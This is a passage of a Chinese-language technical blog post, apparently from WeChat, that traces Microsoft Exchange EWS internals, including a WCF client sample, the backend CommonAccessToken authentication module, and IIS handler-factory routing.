rgb(15, 76, 129);color: rgb(63, 63, 63);">客户端调用</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">客户端配置：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"> &lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34; ?&gt;<br/>    &lt;configuration&gt;<br/>        &lt;startup&gt;<br/>            &lt;!-- specifies the version of WCF to use--&gt;<br/>            &lt;supportedRuntime version=&#34;v4.0&#34; sku=&#34;.NETFramework,Version=v4.6.1&#34; /&gt;<br/>        &lt;/startup&gt;<br/>        &lt;system.serviceModel&gt;<br/>            &lt;bindings&gt;<br/>                &lt;!-- Uses wsHttpBinding--&gt;<br/>                &lt;wsHttpBinding&gt;<br/>                    &lt;binding name=&#34;WSHttpBinding_ICalculator&#34; /&gt;<br/>                &lt;/wsHttpBinding&gt;<br/>            &lt;/bindings&gt;<br/>            &lt;client&gt;<br/>                &lt;!-- specifies the endpoint to use when calling the service --&gt;<br/>                &lt;endpoint address=&#34;<a href="http://localhost:8000/GettingStarted/CalculatorService" target="_blank">http://localhost:8000/GettingStarted/CalculatorService</a>&#34;<br/>                    binding=&#34;wsHttpBinding&#34; bindingConfiguration=&#34;WSHttpBinding_ICalculator&#34;<br/>                    contract=&#34;ServiceReference1.ICalculator&#34; name=&#34;WSHttpBinding_ICalculator&#34;&gt;<br/>                    &lt;identity&gt;<br/>                        &lt;dns value=&#34;localhost&#34; /&gt;<br/>                    &lt;/identity&gt;<br/>                &lt;/endpoint&gt;<br/>            &lt;/client&gt;<br/>        &lt;/system.serviceModel&gt;<br/>    &lt;/configuration&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">调用:</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using System;<br/>using System.Collections.Generic;<br/>using System.Linq;<br/>using System.Text;<br/>using GettingStartedClient.ServiceReference1;<br/> <br/>namespace GettingStartedClient<br/>{<br/>    class Program<br/>    {<br/>        static void Main(string[] args)<br/>        {<br/>            //Step 1: Create an instance of the WCF proxy.<br/>            CalculatorClient client = new CalculatorClient();<br/> <br/>            // Step 2: Call the service operations.<br/>            // Call the Add service operation.<br/>            double value1 = 100.00D;<br/>            double value2 = 15.99D;<br/>            double result = client.Add(value1, value2);<br/>            Console.WriteLine(&#34;Add({0},{1}) = {2}&#34;, value1, value2, result);<br/>        }<br/>    }<br/>}</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">EWS Module</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在前面介绍过，在应用执行前先加载module：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.1235752849430114" title="null" data-type="png" data-w="1667" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=57115b2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ0pCqAeNQ3ibRBQJgchvGVI6jMyxiaHFVgfichFLoM5S9DRvTsDt1VEC3Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">web.config</figcaption></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">BackendRehydrationModule</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Microsoft.Exchange.Security.Authentication.BackendRehydrationModule主要是exch后端鉴权的部分。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">直接进入了TryGetCommonAccessToken，从header中获取CommonAccessToken</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.8030560271646859" title="null" data-type="png" data-w="1178" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=232b0e01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZwvarX8LNLu3EU2FwZnqibxKk0IRONMTOmnPnbmw9icnHuSLdY7nFvKiaw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">将token反序列化，存入httpContext.Items中</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5174746335963923" title="null" data-type="png" data-w="887" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5c5704fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZiagXTNXtwpVYTRY2xvquF7LQiaTUMSUxRAM0ZDJgorsAr5bTuf1v9Atw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过BackendAuthenticator.Rehydrate解析token</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.34210526315789475" title="null" data-type="png" data-w="836" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b0e734ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ4uWpNbPwbuFHP1V7mtHibUKl4icDDJlKCInibWpdZ5urDfbhJ8Vuz2nKg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">跟进，使用InternalRehydrate实现</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4503464203233256" title="null" data-type="png" data-w="866" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=23372cfa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZGjthYqRSgmgqaUgBGtz3NGLvVmbwSN4fRqpRopw2sZILW2Zyx6MsLQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该函数为抽象方法，实际由Microsoft.Exchange.Security.Authentication.WindowsAuthenticator.InternalRehydrate实现</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2718707940780619" title="null" data-type="png" data-w="1486" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=08a3a8ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZiaNS3HPzTYNTC9N9JfYm3SwqXTe8ic5AouJia40sKib3QrUqdEzZDlfm6g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">从CommonAccessToken获取到了principal</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.1892883345561262" title="null" data-type="png" data-w="1363" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8bcede88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZQ4fNVFq0HT3raEZxOLoiawqOGiakaoBheKZXfYV5aj8MlyIMWZG16gYA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">随后进入TryHandleRehydratedIdentity函数，检查身份是否合规：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2531948881789137" title="null" data-type="png" data-w="1252" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a83de297&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ5Hl3D6v8hdBeBLvFurJ4ichOqQhOkIq4AEodnoDrSiasEKcqADdr08KA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最终将令牌给httpContext.User</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.35096153846153844" title="null" data-type="png" data-w="832" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f572565e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZHfRRMESvIqq9V6iaNjBKa9BLml21UiadWicPia6VbrrBVvdpt1kx6GVFVQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该模块主要功能是从FrontEnd提供的CommonAcessToken中提取出用户令牌。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">WCF部分：</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Exchange.asmx</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;%@ServiceHost Service=&#34;Microsoft.Exchange.Services.Wcf.EWSService&#34; Factory=&#34;Microsoft.Exchange.Services.Wcf.EWSServiceHostFactory&#34; %&gt;</code></pre><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3652788688138256" title="null" data-type="png" data-w="1273" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bf0be26e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZGgLEqtXiaHsFOxiaDDLbibloH0gtQjMABFgqIqBmvZMePPypMRK31ASKg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">EWSService实现了IEWSContract和IEWSStreamingContract，是wcf服务的具体实现。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.11213235294117647" title="null" data-type="png" data-w="2176" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d4ee60bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZiaN9dicN41nhLcomnD7xHrehTtwFb02UxVMy8FibpWMAnRHKFnFjicQowQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">网上简单搜了下，不知道怎么将asmx和wcf整合使用。从后面的了解来看感觉BackEnd既是wcf服务端也是wcf客户端。这块不明白对后面整个流程的梳理也没有什么问题。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">ISAPI</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对于.asmx，由isapi判断由Microsoft.Exchange.Services.DispatchPipe.Ews.EwsServiceHttpHandlerFactory负责处理：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.13020214030915578" title="null" data-type="png" data-w="1682" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=191fbe4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZzibAEUeXlkOUAKy5ok3caTzgDj8sd2icTqQYbnkHQofAOB49zLVnw4pg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">EwsServiceHttpHandlerFactory继承自HttpHandlerFactoryBase，实现EWSSERVICE接口</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.1395617070357555" title="null" data-type="png" data-w="867" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=388f5c47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZibLJCrwSVicScHlwAdSVBaqE4YJ6DOLIIn5yUPD9FWicF4FBiagibyLn6Tg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">HttpHandlerFactoryBase继承自IHttpHandlerFactory：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://docs.microsoft.com/en-us/dotnet/api/system.web.ihttphandlerfactory.gethandler?view=netframework-4.8" target="_blank">https://docs.microsoft.com/en-us/dotnet/api/system.web.ihttphandlerfactory.gethandler?view=netframework-4.8</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">根据微软例子，继承了IHttpHandlerFactory的HandlerFactory类，重写GetHandler方法。根据iis的配置：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;configuration&gt;   <br/>  &lt;system.web&gt;   <br/>    &lt;httpHandlers&gt;   <br/>      &lt;add verb=&#34;*&#34; path=&#34;abc.aspx&#34; type=&#34;test.MyFactory,HandlerFactoryTest&#34; /&gt;   <br/>      &lt;add verb=&#34;*&#34; path=&#34;xyz.aspx&#34; type=&#34;test.MyFactory,HandlerFactoryTest&#34; /&gt;   <br/>    &lt;/httpHandlers&gt;   <br/>  &lt;/system.web&gt;  <br/>&lt;/configuration&gt;  </code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">比如path的文件名，提供不同的hanlder：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft 